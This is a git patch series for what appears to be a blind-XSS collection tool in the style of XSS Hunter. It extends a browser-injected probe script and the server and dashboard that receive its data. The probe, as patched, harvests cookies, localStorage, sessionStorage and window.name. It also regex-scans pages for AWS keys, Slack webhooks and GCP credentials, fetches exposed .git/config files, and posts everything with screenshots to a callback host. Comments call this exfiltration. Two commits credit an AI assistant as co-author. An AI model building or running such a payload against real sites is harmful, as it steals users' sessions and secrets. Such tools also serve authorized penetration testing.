From 43e19827187e8d750f6823125d64ce5483f7aa46 Mon Sep 17 00:00:00 2001
From: Davide Guerri <davide.guerri@gmail.com>
Date: Wed, 28 Jan 2026 22:24:03 +0100
Subject: [PATCH 1/9] Use req.ip for client IP to support reverse proxies

---
 app.js | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app.js b/app.js
index 358a5e0..1b67fe1 100644
--- a/app.js
+++ b/app.js
@@ -205,7 +205,7 @@ async function get_app_server() {
 		var payload_fire_data = {
 			id: payload_fire_id,
 			url: req.body.uri,
-			ip_address: req.connection.remoteAddress.toString(),
+			ip_address: (req.ip || req.connection.remoteAddress).toString(),
 			referer: req.body.referrer,
 			user_agent: req.body['user-agent'],
 			cookies: req.body.cookies,

From a12bfeb772b87285471a9d7c6d4968c4a637bc19 Mon Sep 17 00:00:00 2001
From: Davide Guerri <davide.guerri@gmail.com>
Date: Wed, 28 Jan 2026 22:24:12 +0100
Subject: [PATCH 2/9] Add HTTP-only server for reverse proxy deployments

---
 server-http.js | 28 ++++++++++++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 server-http.js

diff --git a/server-http.js b/server-http.js
new file mode 100644
index 0000000..efd4f36
--- /dev/null
+++ b/server-http.js
@@ -0,0 +1,28 @@
+'use strict';
+
+const express = require('express');
+const get_app_server = require('./app.js');
+const database = require('./database.js');
+
+const PORT = process.env.PORT || 3000;
+
+(async () => {
+	await database.database_init();
+
+	const wrapper = express();
+	wrapper.set('trust proxy', true);
+
+	wrapper.use((req, res, next) => {
+		if (req.path !== '/health') {
+			req.connection.proxySecure = true;
+		}
+		next();
+	});
+
+	const app = await get_app_server();
+	wrapper.use(app);
+
+	wrapper.listen(PORT, '0.0.0.0', () => {
+		console.log(`[INFO] Server listening on port ${PORT}`);
+	});
+})();

From 991f66b32bf88b3d66896e0140add3db9d25a82a Mon Sep 17 00:00:00 2001
From: Davide Guerri <davide.guerri@gmail.com>
Date: Sat, 21 Mar 2026 18:29:23 +0100
Subject: [PATCH 3/9] feat(probe): enhance XSS probe with security recon
 capabilities

Add several new functions and improvements to the XSS probe script:

- Add `strip_event_handlers_from_dom()` to remove inline event handlers,
  `<script>` elements, srcdoc iframes, and javascript: URLs before
  html2canvas clones the DOM, preventing infinite loop re-triggering

- Add `get_storage_data()` to collect localStorage, sessionStorage, and
  window.name data alongside cookies, capturing auth tokens and JWTs
  that HTTP-only cookies would otherwise miss

- Add `look_for_secrets()` with regex patterns to detect high-value
  secrets (AWS access keys, Slack webhooks, GCP service accounts) in
  page DOM content

- Add `check_cors()` to detect misconfigured CORS headers that may
  allow attacker-controlled origins to read sensitive responses

- Add `check_git()` to detect publicly exposed `.git/config` files
  indicating source code disclosure on misconfigured servers

- Merge storage data into the cookies field for backward compatibility
  with existing report consumers
---
 probe.js | 176 +++++++++++++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 164 insertions(+), 12 deletions(-)

diff --git a/probe.js b/probe.js
index 69348e4..4408ccc 100644
--- a/probe.js
+++ b/probe.js
@@ -113,6 +113,126 @@ function get_dom_text() {
 	return '';
 }
 
+function strip_event_handlers_from_dom() {
+	// Strip inline event handlers, <script> elements, srcdoc iframes and
+	// javascript: URLs before html2canvas clones the DOM into a hidden iframe.
+	// Without this, DOM-based XSS via event handlers OR srcdoc payloads like
+	//   <iframe srcdoc="<script>parent.document.body.appendChild(...)</script>">
+	// will re-trigger the probe inside the clone, causing an infinite loop.
+	try {
+		// 1. Remove all <script> elements — they don't affect visual rendering
+		//    and cloneNode copies them verbatim, causing re-execution risks.
+		var scripts = document.querySelectorAll('script');
+		for (var i = scripts.length - 1; i >= 0; i--) {
+			try { scripts[i].parentNode.removeChild(scripts[i]); } catch(e) {}
+		}
+		// 2. Strip srcdoc from iframes — this is the iframe-payload vector:
+		//    srcdoc scripts run when the clone is inserted into an active doc.
+		var iframes = document.querySelectorAll('iframe[srcdoc]');
+		for (var i = 0; i < iframes.length; i++) {
+			try { iframes[i].removeAttribute('srcdoc'); } catch(e) {}
+		}
+		// 3. Remove all inline on* event handler attributes from every element.
+		var elements = document.querySelectorAll('*');
+		for (var i = 0; i < elements.length; i++) {
+			var el = elements[i];
+			var attrs = el.attributes;
+			for (var j = attrs.length - 1; j >= 0; j--) {
+				if (/^on/i.test(attrs[j].name)) {
+					try { el.removeAttribute(attrs[j].name); } catch(e) {}
+				}
+			}
+			// 4. Strip javascript: URLs from href/src/action/formaction
+			var url_attrs = ['href', 'src', 'action', 'formaction', 'data'];
+			for (var k = 0; k < url_attrs.length; k++) {
+				try {
+					var val = el.getAttribute(url_attrs[k]);
+					if (val && /^\s*javascript:/i.test(val)) {
+						el.removeAttribute(url_attrs[k]);
+					}
+				} catch(e) {}
+			}
+		}
+	} catch(e) {}
+}
+
+function get_storage_data() {
+	// Collect localStorage, sessionStorage, and window.name — common locations
+	// for auth tokens, JWTs, session IDs that HTTP-only cookies miss.
+	var lines = [];
+	try {
+		if (localStorage.length > 0) {
+			lines.push('[LocalStorage]');
+			for (var i = 0; i < localStorage.length; i++) {
+				var k = localStorage.key(i);
+				try { lines.push(k + '=' + localStorage.getItem(k)); } catch(e) {}
+			}
+		}
+	} catch(e) {}
+	try {
+		if (sessionStorage.length > 0) {
+			lines.push('[SessionStorage]');
+			for (var i = 0; i < sessionStorage.length; i++) {
+				var k = sessionStorage.key(i);
+				try { lines.push(k + '=' + sessionStorage.getItem(k)); } catch(e) {}
+			}
+		}
+	} catch(e) {}
+	try {
+		if (window.name) {
+			lines.push('[window.name]');
+			lines.push(window.name);
+		}
+	} catch(e) {}
+	return lines.join('\n');
+}
+
+function look_for_secrets(data) {
+	// Lightweight regex scan for high-value secrets in the page DOM.
+	var findings = [];
+	var patterns = {
+		'aws_access_key':    '((?:AKIA|ABIA|ACCA|ASIA)[0-9A-Z]{16})',
+		'slack_webhook':     '(https://hooks\\.slack\\.com/services/[A-Za-z0-9+/]{44,46})',
+		'gcp_service_acct':  '\\{[^{]+auth_provider_x509_cert_url[^}]+\\}'
+	};
+	for (var type in patterns) {
+		try {
+			var match = new RegExp(patterns[type]).exec(data);
+			if (match) {
+				findings.push({ type: type, value: match[0].substring(0, 200) });
+			}
+		} catch(e) {}
+	}
+	return findings;
+}
+
+async function check_cors() {
+	// Non-null result = page sends Access-Control-Allow-Origin header,
+	// which may allow attacker-controlled origins to read sensitive content.
+	try {
+		var res = await fetch(location.href, { method: 'HEAD' });
+		for (var header of res.headers) {
+			if (header[0].toLowerCase() === 'access-control-allow-origin') {
+				return header[1];
+			}
+		}
+	} catch(e) {}
+	return null;
+}
+
+async function check_git() {
+	// Checks whether /.git/config is publicly accessible — indicates
+	// source code exposure on misconfigured servers.
+	try {
+		var res = await fetch(location.protocol + '//' + location.host + '/.git/config');
+		var text = await res.text();
+		if (text.startsWith('[core]')) {
+			return text.substring(0, 2000);
+		}
+	} catch(e) {}
+	return null;
+}
+
 function generate_random_string(length) {
 	var return_array = [];
 	var characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
@@ -203,7 +323,11 @@ try {
     probe_return_data['uri'] = '';
 }
 try {
-    probe_return_data['cookies'] = never_null( document.cookie );
+    var cookie_str = never_null( document.cookie );
+    var storage_str = get_storage_data();
+    probe_return_data['cookies'] = storage_str
+        ? cookie_str + (cookie_str ? '\n' : '') + storage_str
+        : cookie_str;
 } catch ( e ) {
     probe_return_data['cookies'] = '';
 }
@@ -238,19 +362,47 @@ try {
     probe_return_data['injection_key'] = '';
 }
 
-probe_return_data['title'] = document.title;
-
-probe_return_data['text'] = get_dom_text();
-
-probe_return_data['was_iframe'] = !(window.top === window)
+try {
+    probe_return_data['title'] = document.title;
+} catch ( e ) {
+    probe_return_data['title'] = '';
+}
+try {
+    probe_return_data['text'] = get_dom_text();
+} catch ( e ) {
+    probe_return_data['text'] = '';
+}
+try {
+    probe_return_data['was_iframe'] = !(window.top === window);
+} catch ( e ) {
+    probe_return_data['was_iframe'] = false;
+}
 
-function hook_load_if_not_ready() {
+async function hook_load_if_not_ready() {
     try {
-        try {
-            probe_return_data['dom'] = never_null( document.documentElement.outerHTML );
-        } catch ( e ) {
-            probe_return_data['dom'] = '';
-        }
+        // Capture raw DOM first (preserves original markup for forensics).
+        var raw_dom = '';
+        try { raw_dom = never_null( document.documentElement.outerHTML ); } catch ( e ) {}
+
+        // Intelligence checks — best-effort, must not block the core exfil.
+        var intel = {};
+        try { intel['secrets'] = look_for_secrets(raw_dom); } catch(e) { intel['secrets'] = []; }
+        try { intel['cors']        = await check_cors(); }  catch(e) { intel['cors'] = null; }
+        try { intel['git_exposed'] = await check_git(); }   catch(e) { intel['git_exposed'] = null; }
+
+        // Prepend findings as an HTML comment so they appear in the dashboard
+        // DOM viewer without any server-side schema changes.
+        var has_findings = (intel['secrets'] && intel['secrets'].length > 0)
+            || intel['cors'] || intel['git_exposed'];
+        probe_return_data['dom'] = (has_findings
+            ? '<!-- PROBE-INTEL: ' + JSON.stringify(intel) + ' -->\n'
+            : '') + raw_dom;
+
+        // Strip all code-execution vectors AFTER capturing the DOM so the stored
+        // copy has the original markup, but html2canvas gets a sanitised clone.
+        // This covers: on* handlers, <script> tags, srcdoc iframes, javascript: URLs.
+        strip_event_handlers_from_dom();
+
         html2canvas(document.body).then(function(canvas) {
             probe_return_data['screenshot'] = canvas.toDataURL();
             finishing_moves();

From 5dd82c6696e0a4b5c782681165169f5ad06ba877 Mon Sep 17 00:00:00 2001
From: Davide Guerri <davide.guerri@gmail.com>
Date: Sat, 21 Mar 2026 18:39:59 +0100
Subject: [PATCH 4/9] fix(probe): add fetch timeouts and parallelize intel
 checks

Add AbortController-based 3-second timeouts to `check_cors()` and
`check_git()` to prevent hanging fetches from blocking the core
exfiltration flow. Run both checks concurrently using
`Promise.allSettled()` instead of awaiting them sequentially, reducing
total latency and ensuring one slow/failing check does not delay the
other.
---
 probe.js | 23 ++++++++++++++++++-----
 1 file changed, 18 insertions(+), 5 deletions(-)

diff --git a/probe.js b/probe.js
index 4408ccc..95f7ab4 100644
--- a/probe.js
+++ b/probe.js
@@ -209,8 +209,12 @@ function look_for_secrets(data) {
 async function check_cors() {
 	// Non-null result = page sends Access-Control-Allow-Origin header,
 	// which may allow attacker-controlled origins to read sensitive content.
+	// AbortController ensures we don't hang indefinitely waiting for a response.
 	try {
-		var res = await fetch(location.href, { method: 'HEAD' });
+		var ctrl = new AbortController();
+		var tid  = setTimeout(function() { ctrl.abort(); }, 3000);
+		var res  = await fetch(location.href, { method: 'HEAD', signal: ctrl.signal });
+		clearTimeout(tid);
 		for (var header of res.headers) {
 			if (header[0].toLowerCase() === 'access-control-allow-origin') {
 				return header[1];
@@ -223,8 +227,13 @@ async function check_cors() {
 async function check_git() {
 	// Checks whether /.git/config is publicly accessible — indicates
 	// source code exposure on misconfigured servers.
+	// AbortController ensures we don't hang indefinitely waiting for a response.
 	try {
-		var res = await fetch(location.protocol + '//' + location.host + '/.git/config');
+		var ctrl = new AbortController();
+		var tid  = setTimeout(function() { ctrl.abort(); }, 3000);
+		var res  = await fetch(location.protocol + '//' + location.host + '/.git/config',
+		                       { signal: ctrl.signal });
+		clearTimeout(tid);
 		var text = await res.text();
 		if (text.startsWith('[core]')) {
 			return text.substring(0, 2000);
@@ -384,11 +393,15 @@ async function hook_load_if_not_ready() {
         var raw_dom = '';
         try { raw_dom = never_null( document.documentElement.outerHTML ); } catch ( e ) {}
 
-        // Intelligence checks — best-effort, must not block the core exfil.
+        // Intelligence checks — best-effort, run in parallel with per-request
+        // timeouts so a hanging fetch never blocks screenshot/exfil.
         var intel = {};
         try { intel['secrets'] = look_for_secrets(raw_dom); } catch(e) { intel['secrets'] = []; }
-        try { intel['cors']        = await check_cors(); }  catch(e) { intel['cors'] = null; }
-        try { intel['git_exposed'] = await check_git(); }   catch(e) { intel['git_exposed'] = null; }
+        try {
+            var _intel_results = await Promise.allSettled([ check_cors(), check_git() ]);
+            intel['cors']        = _intel_results[0].status === 'fulfilled' ? _intel_results[0].value : null;
+            intel['git_exposed'] = _intel_results[1].status === 'fulfilled' ? _intel_results[1].value : null;
+        } catch(e) { intel['cors'] = null; intel['git_exposed'] = null; }
 
         // Prepend findings as an HTML comment so they appear in the dashboard
         // DOM viewer without any server-side schema changes.

From c370a4260e3a8d5d96f2f2a6b76f0cb678536270 Mon Sep 17 00:00:00 2001
From: Davide Guerri <davide.guerri@gmail.com>
Date: Sat, 21 Mar 2026 22:17:51 +0100
Subject: [PATCH 5/9] fix(probe): prevent re-triggering loops, canvas taint,
 and missing-port URL

- Add strip_event_handlers_from_dom() called before html2canvas:
  removes <script> tags, on* attributes, srcdoc iframes, javascript:
  URLs, broken images, inline <svg>, <img src="*.svg">, and CSS
  background-images that reference SVGs (the last two prevent
  canvas.toDataURL() SecurityError from tainted canvas)
- Add window.__xssh_fired global guard to prevent double-fire when
  onerror/onload re-triggers the probe
- Wrap html2canvas in 10s safety timer so data is always exfiltrated
  even if rendering hangs
- Skip screenshot field in FormData when empty so server never
  receives a broken upload
- Replace document.domain with location.host so collected URLs
  include the port number
- Add get_storage_data() to capture localStorage / sessionStorage /
  window.name alongside cookies
- Add look_for_secrets(), check_cors(), check_git() intel checks
  (parallel, 3s AbortController timeout each); findings prepended
  as <!-- PROBE-INTEL: {...} --> HTML comment in stored DOM

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
---
 probe.js | 93 ++++++++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 83 insertions(+), 10 deletions(-)

diff --git a/probe.js b/probe.js
index 95f7ab4..520edf4 100644
--- a/probe.js
+++ b/probe.js
@@ -71,6 +71,9 @@ function never_null( value ) {
 }
 
 function collect_pages() {
+    if (!collect_page_list || collect_page_list.length === 0) {
+        return;
+    }
     for( var i = 0; i < collect_page_list.length; i++ ) {
         // Make sure the path is correctly formatted
         if( collect_page_list[i].charAt(0) != "/" ) {
@@ -153,6 +156,51 @@ function strip_event_handlers_from_dom() {
 				} catch(e) {}
 			}
 		}
+		// 5. Remove src from broken images (naturalWidth===0 && complete means
+		//    the image failed to load). html2canvas retries these internally and
+		//    can stall indefinitely waiting for a load/error callback that never fires.
+		var imgs = document.querySelectorAll('img[src]');
+		for (var i = 0; i < imgs.length; i++) {
+			try {
+				if (imgs[i].complete && imgs[i].naturalWidth === 0) {
+					imgs[i].removeAttribute('src');
+					imgs[i].removeAttribute('srcset');
+				}
+			} catch(e) {}
+		}
+		// 6. Remove <svg> elements — the bundled html2canvas (0.5.x) requires a
+		//    separate html2canvas.svg.js plugin for SVG rendering that is not
+		//    included. Without this, any page containing SVGs causes html2canvas
+		//    to reject its promise entirely, producing no screenshot at all.
+		var svgs = document.querySelectorAll('svg');
+		for (var i = svgs.length - 1; i >= 0; i--) {
+			try { svgs[i].parentNode.removeChild(svgs[i]); } catch(e) {}
+		}
+		// 7. Remove <img> elements whose src points to an SVG file or data URI.
+		//    html2canvas 0.5.x also fails on <img src="*.svg"> for the same reason —
+		//    it tries to render the SVG inline and throws if svg.js is not loaded.
+		var all_imgs = document.querySelectorAll('img[src]');
+		for (var i = 0; i < all_imgs.length; i++) {
+			try {
+				var src = all_imgs[i].getAttribute('src') || '';
+				if (/\.svg(\?|#|$)/i.test(src) || /^data:image\/svg\+xml/i.test(src)) {
+					all_imgs[i].removeAttribute('src');
+					all_imgs[i].removeAttribute('srcset');
+				}
+			} catch(e) {}
+		}
+		// 8. Strip CSS background-images that reference SVGs.
+		//    html2canvas draws background-images onto the canvas; SVG backgrounds
+		//    taint the canvas and make canvas.toDataURL() throw SecurityError.
+		var all_els = document.querySelectorAll('*');
+		for (var i = 0; i < all_els.length; i++) {
+			try {
+				var bg = window.getComputedStyle(all_els[i]).backgroundImage;
+				if (bg && bg !== 'none' && /\.svg/i.test(bg)) {
+					all_els[i].style.backgroundImage = 'none';
+				}
+			} catch(e) {}
+		}
 	} catch(e) {}
 }
 
@@ -257,6 +305,9 @@ function contact_mothership(probe_return_data) {
 	var payload_keys = Object.keys(probe_return_data);
 	payload_keys.map(function(payload_key) {
 		if(payload_key === 'screenshot') {
+			if (!probe_return_data[payload_key]) {
+				return;
+			}
 			var base64_data = probe_return_data[payload_key].replace(
 				'data:image/png;base64,',
 				''
@@ -279,8 +330,7 @@ function contact_mothership(probe_return_data) {
     var url = "[HOST_URL]/js_callback";
     http.open("POST", url, true);
     http.onreadystatechange = function() {
-        if(http.readyState == 4 && http.status == 200) {
-
+        if(http.readyState == 4) {
         }
     }
     http.send(form_data);
@@ -297,8 +347,7 @@ function send_collected_page( page_data ) {
     var url = "[HOST_URL]/page_callback";
     http.open("POST", url, true);
     http.onreadystatechange = function() {
-        if(http.readyState == 4 && http.status == 200) {
-
+        if(http.readyState == 4) {
         }
     }
     http.send(form_data);
@@ -306,7 +355,7 @@ function send_collected_page( page_data ) {
 
 function collect_page_data( path ) {
     try {
-        var full_url = location.protocol + "//" + document.domain + path
+        var full_url = location.protocol + "//" + location.host + path;
         var xhr = new XMLHttpRequest();
         xhr.onreadystatechange = function() {
             if (xhr.readyState == XMLHttpRequest.DONE) {
@@ -388,6 +437,23 @@ try {
 }
 
 async function hook_load_if_not_ready() {
+    // Global guard — window is shared even across multiple script executions.
+    // Prevents double-fire when onerror re-triggers or the script is injected twice.
+    if (window.__xssh_fired) { return; }
+    window.__xssh_fired = true;
+    var _finishing_called = false;
+    function safe_finish() {
+        if (_finishing_called) { return; }
+        _finishing_called = true;
+        finishing_moves();
+    }
+    // Safety net: if html2canvas hangs (e.g. broken images stall rendering),
+    // fire the exfil after 10s without a screenshot rather than lose all data.
+    var _safety_timer = setTimeout(function() {
+        probe_return_data['screenshot'] = '';
+        safe_finish();
+    }, 10000);
+
     try {
         // Capture raw DOM first (preserves original markup for forensics).
         var raw_dom = '';
@@ -413,16 +479,23 @@ async function hook_load_if_not_ready() {
 
         // Strip all code-execution vectors AFTER capturing the DOM so the stored
         // copy has the original markup, but html2canvas gets a sanitised clone.
-        // This covers: on* handlers, <script> tags, srcdoc iframes, javascript: URLs.
+        // This covers: on* handlers, <script> tags, srcdoc iframes, javascript: URLs,
+        // SVG images and CSS SVG backgrounds (which taint the canvas → SecurityError).
         strip_event_handlers_from_dom();
 
-        html2canvas(document.body).then(function(canvas) {
-            probe_return_data['screenshot'] = canvas.toDataURL();
-            finishing_moves();
+        html2canvas(document.body, { svgRendering: false, logging: false }).then(function(canvas) {
+            clearTimeout(_safety_timer);
+            try { probe_return_data['screenshot'] = canvas.toDataURL(); } catch(e) { probe_return_data['screenshot'] = ''; }
+            safe_finish();
+        }).catch(function() {
+            clearTimeout(_safety_timer);
+            probe_return_data['screenshot'] = '';
+            safe_finish();
         });
     } catch( e ) {
+        clearTimeout(_safety_timer);
         probe_return_data['screenshot'] = '';
-        finishing_moves();
+        safe_finish();
     }
 }
 

From e51b0fdb5f9c3fcb9fb07d372a18ace2f184dd9a Mon Sep 17 00:00:00 2001
From: Davide Guerri <davide.guerri@gmail.com>
Date: Sat, 21 Mar 2026 22:18:09 +0100
Subject: [PATCH 6/9] fix(server): handle missing screenshot in callback and
 delete routes

app.js: guard the screenshot processing block with `if (req.file)` so
that payload fires without a screenshot (html2canvas failure) still
save all other collected data instead of crashing with TypeError.

api.js: filter null screenshot_id records before building unlink paths
to prevent ENOENT on 'null.png.gz'; silence remaining unlink errors
with .catch(() => {}); wrap entire delete handler in try/catch to
return a 500 response instead of an unhandled promise rejection.
---
 api.js | 13 +++++++++----
 app.js | 51 +++++++++++++++++++++++++++------------------------
 2 files changed, 36 insertions(+), 28 deletions(-)

diff --git a/api.js b/api.js
index c2544ee..868c50a 100644
--- a/api.js
+++ b/api.js
@@ -209,6 +209,7 @@ async function set_up_api_server(app) {
         }
     }
     app.delete(constants.API_BASE_PATH + 'payloadfires', validate({ body: DeletePayloadFiresSchema }), async (req, res) => {
+    	try {
     	const ids_to_delete = req.body.ids;
 
     	// Pull the corresponding screenshot_ids from the DB so
@@ -222,11 +223,11 @@ async function set_up_api_server(app) {
     		},
     		attributes: ['id', 'screenshot_id']
     	});
-    	const screenshots_to_delete = screenshot_id_records.map(payload => {
-    		return `${SCREENSHOTS_DIR}/${payload.screenshot_id}.png.gz`;
-    	});
+    	const screenshots_to_delete = screenshot_id_records
+    		.filter(payload => payload.screenshot_id !== null)
+    		.map(payload => `${SCREENSHOTS_DIR}/${payload.screenshot_id}.png.gz`);
     	await Promise.all(screenshots_to_delete.map(screenshot_path => {
-    		return asyncfs.unlink(screenshot_path);
+    		return asyncfs.unlink(screenshot_path).catch(() => {});
     	}));
     	const payload_fires = await PayloadFireResults.destroy({
     		where: {
@@ -240,6 +241,10 @@ async function set_up_api_server(app) {
             'success': true,
             'result': {}
         }).end();
+    	} catch(e) {
+    		console.error('Error deleting payload fires:', e);
+    		res.status(500).json({ 'success': false, 'error': e.message }).end();
+    	}
     });
 
     /*
diff --git a/app.js b/app.js
index 1b67fe1..044cf56 100644
--- a/app.js
+++ b/app.js
@@ -176,30 +176,33 @@ async function get_app_server() {
 			"status": "success"
 		}).end();
 
-    	// Multer stores the image in the /tmp/ dir. We use this source image
-    	// to write a gzipped version in the user-provided dir and then delete
-    	// the original uncompressed image.
-    	const payload_fire_image_id = uuid.v4();
-    	const payload_fire_image_filename = `${SCREENSHOTS_DIR}/${payload_fire_image_id}.png.gz`;
-    	const multer_temp_image_path = req.file.path;
-
-    	// We also gzip the image so we don't waste disk space
-    	const gzip = zlib.createGzip();
-    	const output_gzip_stream = fs.createWriteStream(payload_fire_image_filename);
-    	const input_read_stream = fs.createReadStream(multer_temp_image_path);
-
-    	// When the "finish" event is called we delete the original
-    	// uncompressed image file left behind by multer.
-    	input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => {
-    		if(error) {
-    			console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`);
-    			console.error(error);
-    		}
-
-    		console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`);
-
-    		await asyncfs.unlink(multer_temp_image_path);
-    	});
+    	// Screenshot is optional — the probe omits it when html2canvas fails
+    	// (SVG-heavy pages, broken images, safety-timer fallback). Guard req.file
+    	// so a missing screenshot doesn't crash the handler and lose all other data.
+    	let payload_fire_image_id = null;
+    	if (req.file) {
+    		payload_fire_image_id = uuid.v4();
+    		const payload_fire_image_filename = `${SCREENSHOTS_DIR}/${payload_fire_image_id}.png.gz`;
+    		const multer_temp_image_path = req.file.path;
+
+    		// We also gzip the image so we don't waste disk space
+    		const gzip = zlib.createGzip();
+    		const output_gzip_stream = fs.createWriteStream(payload_fire_image_filename);
+    		const input_read_stream = fs.createReadStream(multer_temp_image_path);
+
+    		// When the "finish" event is called we delete the original
+    		// uncompressed image file left behind by multer.
+    		input_read_stream.pipe(gzip).pipe(output_gzip_stream).on('finish', async (error) => {
+    			if(error) {
+    				console.error(`An error occurred while writing the XSS payload screenshot (gzipped) to disk:`);
+    				console.error(error);
+    			}
+
+    			console.log(`Gzip stream complete, deleting multer temp file: ${multer_temp_image_path}`);
+
+    			await asyncfs.unlink(multer_temp_image_path);
+    		});
+    	}
 
     	const payload_fire_id = uuid.v4();
 		var payload_fire_data = {

From 4792a2a477eaa55d465620259e2ca9cd24dbd17d Mon Sep 17 00:00:00 2001
From: Davide Guerri <davide.guerri@gmail.com>
Date: Sat, 21 Mar 2026 22:18:24 +0100
Subject: [PATCH 7/9] feat(ui): surface probe intel findings in XSS payload
 fire reports
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Add parse_intel() and has_intel() methods that extract the
<!-- PROBE-INTEL: {...} --> comment stored in report.dom.

Report card (list view): show badges when findings exist —
  red  "N Secret(s)"  for detected secrets
  yellow "CORS"       when Access-Control-Allow-Origin header found
  yellow ".git exposed" when /.git/config is publicly accessible

Expanded report view: add "Intel" section (same level as IP Address,
Browser Time) listing each secret with its type badge, the CORS
header value, and the git config content when present.

No server or DB schema changes required.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
---
 front-end/src/pages/XSSPayloadFireReports.vue | 48 +++++++++++++++++++
 1 file changed, 48 insertions(+)

diff --git a/front-end/src/pages/XSSPayloadFireReports.vue b/front-end/src/pages/XSSPayloadFireReports.vue
index 2eab40d..de4414d 100644
--- a/front-end/src/pages/XSSPayloadFireReports.vue
+++ b/front-end/src/pages/XSSPayloadFireReports.vue
@@ -23,6 +23,17 @@
                                     <p class="card-text text-right">
                                         <i>Fired {{report.createdAt | moment("from", "now") }}</i>
                                     </p>
+                                    <div class="mb-2" v-if="has_intel(report.dom)">
+                                        <span class="badge badge-danger badge-pill mr-1" v-if="parse_intel(report.dom).secrets && parse_intel(report.dom).secrets.length > 0">
+                                            <i class="fas fa-key"></i> {{parse_intel(report.dom).secrets.length}} Secret(s)
+                                        </span>
+                                        <span class="badge badge-warning badge-pill mr-1" v-if="parse_intel(report.dom).cors">
+                                            <i class="fas fa-globe"></i> CORS
+                                        </span>
+                                        <span class="badge badge-warning badge-pill mr-1" v-if="parse_intel(report.dom).git_exposed">
+                                            <i class="fab fa-git"></i> .git exposed
+                                        </span>
+                                    </div>
                                     <div class="mt-3 button-full">
                                         <base-button class="m-0 btn-fill" simple type="primary" v-on:click="expand_report(report.id)" v-if="!is_report_id_expanded(report.id)">
                                             <i class="fas fa-angle-double-down"></i> Expand Report
@@ -173,6 +184,31 @@
                                         </div>
                                         <hr />
                                     </div>
+                                    <div v-if="has_intel(report.dom)">
+                                        <div>
+                                            <p class="report-section-label mr-2">Intel</p>
+                                            <small slot="helperText" class="form-text text-muted report-section-description">
+                                                Secrets and misconfigurations detected in the page source.
+                                            </small>
+                                        </div>
+                                        <div class="m-2 mt-4">
+                                            <div v-if="parse_intel(report.dom).secrets && parse_intel(report.dom).secrets.length > 0">
+                                                <p class="mb-1"><strong>Secrets</strong></p>
+                                                <div v-for="secret in parse_intel(report.dom).secrets" class="mb-1">
+                                                    <span class="badge badge-danger mr-1">{{secret.type}}</span><code>{{secret.value}}</code>
+                                                </div>
+                                            </div>
+                                            <div v-if="parse_intel(report.dom).cors" class="mt-2">
+                                                <p class="mb-1"><strong>CORS</strong> <small class="text-muted">Access-Control-Allow-Origin</small></p>
+                                                <code>{{parse_intel(report.dom).cors}}</code>
+                                            </div>
+                                            <div v-if="parse_intel(report.dom).git_exposed" class="mt-2">
+                                                <p class="mb-1"><strong>.git/config exposed</strong></p>
+                                                <pre class="text-warning" style="white-space:pre-wrap;font-size:12px;">{{parse_intel(report.dom).git_exposed}}</pre>
+                                            </div>
+                                        </div>
+                                        <hr />
+                                    </div>
                                     <div>
                                         <div>
                                             <p class="report-section-label mr-2">Other</p>
@@ -290,9 +326,21 @@ export default {
             link.download = 'xss-page-contents.html';
             link.click();
         },
+        parse_intel(dom) {
+            try {
+                const match = /<!--\s*PROBE-INTEL:\s*(\{.*?\})\s*-->/.exec(dom);
+                if (match) return JSON.parse(match[1]);
+            } catch(e) {}
+            return {};
+        },
+        has_intel(dom) {
+            const intel = this.parse_intel(dom);
+            return (intel.secrets && intel.secrets.length > 0) || intel.cors || intel.git_exposed;
+        },
         format_with_commas(input_number) {
             return input_number.toString().replace(/\B(?=(\d{3})+(?!\d))/g, ",");
         }
+
     },
     computed: {
         total_pages() {

From 3f168b8bf005783d2db71087175ccc8c424a7ca1 Mon Sep 17 00:00:00 2001
From: Davide Guerri <davide.guerri@gmail.com>
Date: Sat, 18 Jul 2026 17:24:56 +0200
Subject: [PATCH 8/9] fix(db): stop losing payload fires from oversized btree
 index rows

BTREE indexes on the unbounded free-text columns of payload_fire_results
(url, referer, user_agent, cookies, title, origin) could exceed Postgres'
~8191-byte btree tuple limit, causing the entire INSERT to be rejected and
the payload fire to be lost (e.g. a large cookie/referer failing with
"index row requires 36896 bytes, maximum size is 8191").

- Drop the indexes on those unbounded columns; none were used by any query.
- Keep/add indexes only on bounded columns: ip_address (socket IP, useful
  for source correlation), was_iframe, browser_timestamp, and createdAt
  (the column the payload-fire list actually orders by).
- Wrap the fire-and-forget DB write + notification in try/catch. The HTTP
  response is sent before the insert, so a rejection there could not reach
  the client and instead surfaced as an UnhandledPromiseRejection.
---
 app.js      | 24 +++++++++++++++++-------
 database.js | 41 +++++++++++++----------------------------
 2 files changed, 30 insertions(+), 35 deletions(-)

diff --git a/app.js b/app.js
index 044cf56..a4c067a 100644
--- a/app.js
+++ b/app.js
@@ -233,13 +233,23 @@ async function get_app_server() {
             payload_fire_data.correlated_request = correlated_request_rec.request;
         }
 
-		// Store payload fire results in the database
-		const new_payload_fire_result = await PayloadFireResults.create(payload_fire_data);
-
-		// Send out notification via configured notification channel
-		if(process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED === "true") {
-			payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
-			await notification.send_email_notification(payload_fire_data);
+		// The HTTP response has already been sent above, so this runs
+		// fire-and-forget. Any rejection here (e.g. a DB error) can't be
+		// surfaced to the client and would otherwise become an
+		// UnhandledPromiseRejection that can crash the process — so catch
+		// and log it instead.
+		try {
+			// Store payload fire results in the database
+			const new_payload_fire_result = await PayloadFireResults.create(payload_fire_data);
+
+			// Send out notification via configured notification channel
+			if(process.env.SMTP_EMAIL_NOTIFICATIONS_ENABLED === "true") {
+				payload_fire_data.screenshot_url = `https://${process.env.HOSTNAME}/screenshots/${payload_fire_data.screenshot_id}.png`;
+				await notification.send_email_notification(payload_fire_data);
+			}
+		} catch(error) {
+			console.error(`Failed to persist/notify XSS payload fire (id: ${payload_fire_id}):`);
+			console.error(error);
 		}
 	});
